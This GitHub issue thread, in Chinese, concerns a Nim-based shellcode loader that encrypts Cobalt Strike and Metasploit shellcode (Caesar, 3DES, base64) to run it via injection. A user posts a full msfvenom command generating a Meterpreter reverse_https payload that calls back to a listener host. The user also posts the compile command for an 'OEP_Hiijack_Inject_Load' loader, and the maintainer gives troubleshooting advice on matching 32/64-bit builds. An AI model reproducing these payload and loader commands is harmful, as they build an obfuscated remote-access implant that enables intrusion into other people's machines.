Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

运行被加密的程序报错 #4

Open
spooky18 opened this issue Sep 28, 2021 · 6 comments
Open

运行被加密的程序报错 #4

spooky18 opened this issue Sep 28, 2021 · 6 comments

Comments

@spooky18
Copy link

spooky18 commented Sep 28, 2021

凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢
手心输入法截图20210928183244488
?
nim版本
我之后又试了官方几个大版本的代表版本,问题依旧
12121212

@aeverj
Copy link
Owner

aeverj commented Sep 28, 2021

凯撒和3des加密方法都换过,6种运行shellcode的方法也都随机试了几个,始终在运行加密后Cobalt Strike的Shellcode制作的exe文件报错,初步怀疑现在的的nim更新了base 64方面的加密代码,所以程序产生了兼容性bug?请作者看看怎么解决?谢谢

手心输入法截图20210928183244488

?

nim版本

我之后又试了官方几个大版本的代表版本,问题依旧

12121212

你用64位的系统、64位的nim编译运行试试

@spooky18
Copy link
Author

spooky18 commented Sep 28, 2021

你用64位的系统、64位的nim编译运行试试

在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?

Shell Code参数
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2

Nim Shell code loader参数
nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim

@aeverj
Copy link
Owner

aeverj commented Sep 29, 2021

你用64位的系统、64位的nim编译运行试试

在win 7 64位系统,现在Nim换64位,Mingw64位,问题依旧。以下使用参数有什么问题吗?

Shell Code参数 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_https -f raw LPORT=443 -o xx.bin LHOST=192.168.0.2

Nim Shell code loader参数 nim cpp -d:TDEA --passL:-static -d:release -d:source="E:\xx.bin" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim

msfvenom 生成shellcode的时候选择操作系统位数要和nim的相同,应该是x64

@spooky18
Copy link
Author

64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!

@aeverj
Copy link
Owner

aeverj commented Oct 13, 2021

64位测试成功了,但是现在有个软件必须用32的shellcode,发现始终是这个错误,请问能否修复这个问题?或者给相应的解决方案,谢谢!

程序的版本要和shellcode的版本要一致

@spooky18
Copy link
Author

没明白您说的程序版本和shellcode的版本有什么关系,shellcode是32位的,nim和mingw也是32位的,编译测试message弹框的shellcode,但是稍微大一点的程序就会遇到这个base64编码错误了,这应该是base编码/解码shellcode方面的问题吧?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants